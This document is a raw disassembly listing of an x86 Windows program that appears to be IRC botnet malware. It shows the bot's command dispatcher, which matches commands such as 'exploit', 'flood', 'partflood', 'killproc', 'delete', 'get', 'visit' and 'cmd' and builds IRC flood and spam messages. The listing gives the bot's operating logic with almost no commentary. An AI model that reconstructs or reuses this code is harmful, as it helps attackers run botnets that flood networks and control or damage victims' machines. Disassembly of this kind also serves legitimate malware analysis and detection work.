		push	10h
		pop	eax
		mov	[ebp+var_2D4], eax
		push	eax
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		push	[ebp+arg_4]
		call	dword_428230	; getsockname
		movzx	eax, [ebp+var_2DE]
		push	eax
		movzx	eax, [ebp+var_2DF]
		push	eax
		movzx	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42CD08
		push	eax
		call	sub_41C056
		add	esp, 20h
		jmp	loc_4034BD
; ---------------------------------------------------------------------------


loc_404B0F:				; CODE XREF: sub_401B66+2F12j
		push	esi
		call	dword_4CDCA4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404B35
		push	offset unk_42CCC8


loc_404B21:				; CODE XREF: sub_401B66+2F2Aj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	loc_4034BD
; ---------------------------------------------------------------------------


loc_404B35:				; CODE XREF: sub_401B66+2FB4j
		push	offset dword_4D0ED8
		call	sub_41C680
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset unk_42CC9C
		push	eax
		mov	dword_4D14F4, 1
		call	sub_41C056
		add	esp, 14h
		jmp	loc_4034BD
; ---------------------------------------------------------------------------


loc_404B63:				; CODE XREF: sub_401B66+1920j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C5C
		mov	eax, [ebp+var_4]
		mov	esi, offset aGxxx_0 ; "#Gxxx"
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13DC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F0],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1470]
		push	edi
		push	eax
		mov	[ebp+var_13E8],	1
		call	sub_41C150
		push	esi
		lea	eax, [ebp+var_14F0]
		push	edi
		push	eax
		call	sub_41C150
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1500]
		push	10h
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_1500]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42CC64
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	8
		push	eax
		call	sub_40AF8D
		add	esp, 3Ch
		mov	[ebp+var_13E4],	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_1500]
		push	ebx
		push	eax
		push	offset sub_40B71C
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_13E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_404C4F
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CC24
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_404C47:				; CODE XREF: sub_401B66+30EFj
		push	32h
		call	dword_428064	; Sleep


loc_404C4F:				; CODE XREF: sub_401B66+30CEj
		cmp	[ebp+var_13D8],	ebx
		jz	short loc_404C47
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_404C5C:				; CODE XREF: sub_401B66+300Cj
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096E2
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096E2
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40969C
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40969C
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C840
		mov	edi, dword_428064
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405818
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C840
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404D5F
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404D5F
		push	[ebp+esi+var_80]
		call	sub_41BF49
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41BF49
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417FB1
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42CBBC
		push	eax
		call	sub_41C056
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404D5F
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_404D5F:				; CODE XREF: sub_401B66+3185j
					; sub_401B66+318Bj ...
		push	[ebp+arg_10]
		push	offset dword_42CBB8
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DC8
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DC8
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB4
		push	eax
		call	sub_4185D4
		push	eax
		lea	eax, [ebp+var_50F0]
		push	eax
		call	sub_41C680
		lea	eax, [ebp+var_50F0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42CBA4
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 28h


loc_404DC8:				; CODE XREF: sub_401B66+320Aj
					; sub_401B66+3215j
		push	[ebp+arg_10]
		push	offset dword_42CBA0
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E31
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E31
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB4
		push	eax
		call	sub_4185D4
		push	eax
		lea	eax, [ebp+var_4BEC]
		push	eax
		call	sub_41C680
		lea	eax, [ebp+var_4BEC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42CB8C
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 28h


loc_404E31:				; CODE XREF: sub_401B66+3273j
					; sub_401B66+327Ej
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E9A
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB4
		push	eax
		call	sub_4185D4
		push	eax
		lea	eax, [ebp+var_46E8]
		push	eax
		call	sub_41C680
		lea	eax, [ebp+var_46E8]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 28h


loc_404E9A:				; CODE XREF: sub_401B66+32DCj
					; sub_401B66+32E7j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F03
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404F03
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB4
		push	eax
		call	sub_4185D4
		push	eax
		lea	eax, [ebp+var_4DEC]
		push	eax
		call	sub_41C680
		lea	eax, [ebp+var_4DEC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 28h


loc_404F03:				; CODE XREF: sub_401B66+3345j
					; sub_401B66+3350j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F42
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F42
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 10h


loc_404F42:				; CODE XREF: sub_401B66+33AEj
					; sub_401B66+33B9j
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F81
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F81
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 10h


loc_404F81:				; CODE XREF: sub_401B66+33EDj
					; sub_401B66+33F8j
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FC5
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404FC5
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h


loc_404FC5:				; CODE XREF: sub_401B66+342Cj
					; sub_401B66+3437j
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40503A
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_40503A
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		call	sub_41C0B2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_1804]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42CB1C
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_1804]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CB14
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 24h


loc_40503A:				; CODE XREF: sub_401B66+3470j
					; sub_401B66+3479j
		push	[ebp+arg_10]
		push	offset dword_42CB08
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405181
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 24h
		call	sub_41C0B2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 10h
		call	sub_41C0B2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 24h
		call	sub_41C0B2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h


loc_405181:				; CODE XREF: sub_401B66+34E5j
					; sub_401B66+34F2j
		push	[ebp+arg_10]
		push	offset dword_42CB04
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40521B
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_40521B
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		call	sub_41C0B2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C0B2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C0B2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C0B2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C0B2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C0]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42CADC
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 24h


loc_40521B:				; CODE XREF: sub_401B66+362Cj
					; sub_401B66+3639j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405318
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405318
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		lea	eax, [ebp+var_4B8]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_4B8]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CB14
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 24h
		call	sub_41C0B2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4B8]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_4B8]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CB14
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h
		call	sub_41C0B2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4B8]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_4B8]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CB14
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h


loc_405318:				; CODE XREF: sub_401B66+36C6j
					; sub_401B66+36D5j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40535E
		lea	eax, [ebp+var_17CC]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_17CC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CB14
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h


loc_40535E:				; CODE XREF: sub_401B66+37C3j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40544A
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40544A
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42CBA4
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 24h
		call	sub_41C0B2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42CBA4
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h
		call	sub_41C0B2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42CBA4
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h


loc_40544A:				; CODE XREF: sub_401B66+3809j
					; sub_401B66+3816j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405536
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405536
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 24h
		call	sub_41C0B2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h
		call	sub_41C0B2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h


loc_405536:				; CODE XREF: sub_401B66+38F5j
					; sub_401B66+3902j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40564A
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40564A
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CA94
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 20h
		call	sub_41C0B2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CA7C
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 10h
		call	sub_41C0B2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CA64
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 10h
		call	sub_41C0B2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CA64
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 10h


loc_40564A:				; CODE XREF: sub_401B66+39E1j
					; sub_401B66+39EEj
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40576D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40576D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CA94
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 20h
		call	sub_41C0B2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h
		call	sub_41C0B2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h
		call	sub_41C0B2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h


loc_40576D:				; CODE XREF: sub_401B66+3AF5j
					; sub_401B66+3B02j
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B3
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4057B3
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417CD6
		add	esp, 14h


loc_4057B3:				; CODE XREF: sub_401B66+3C18j
					; sub_401B66+3C23j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406282
		mov	edi, offset dword_4D6DC4


loc_4057CF:				; CODE XREF: sub_401B66+3C88j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057E2
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057E2
		push	eax
		call	dword_4CDCFC	; closesocket


loc_4057E2:				; CODE XREF: sub_401B66+3C6Dj
					; sub_401B66+3C73j
		add	edi, 210h
		cmp	edi, offset dword_4DD4E4
		jl	short loc_4057CF
		cmp	[ebp+var_8], ebx
		jnz	loc_406282
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CA04
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h
		jmp	loc_406282
; ---------------------------------------------------------------------------


loc_405818:				; CODE XREF: sub_401B66+3161j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40967F
		push	edi
		push	offset aN	; "n"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40967F
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40965B
		push	edi
		push	offset aJ	; "j"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40965B
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40963E
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40963E
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409605
		push	edi
		push	offset aR	; "r"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409605
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409553
		push	edi
		push	offset aK	; "k"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409553
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094A5
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094A5
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409456
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409456
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40943D
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40943D
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40940F
		push	edi
		push	offset aO	; "o"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40940F
		push	edi
		push	offset aServer	; "server"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093E6
		push	edi
		push	offset aSe	; "se"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093E6
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40937E
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40937E
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40934E
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40934E
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092EF
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092EF
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092B4
		push	edi
		push	offset aDel	; "del"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092B4
		push	edi
		push	offset aGet	; "get"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D2
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D2
		push	edi
		push	offset aList	; "list"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B3
		push	edi
		push	offset aLi	; "li"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B3
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090D2
		push	edi
		push	offset aV	; "v"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090D2
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40905C
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40905C
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409006
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
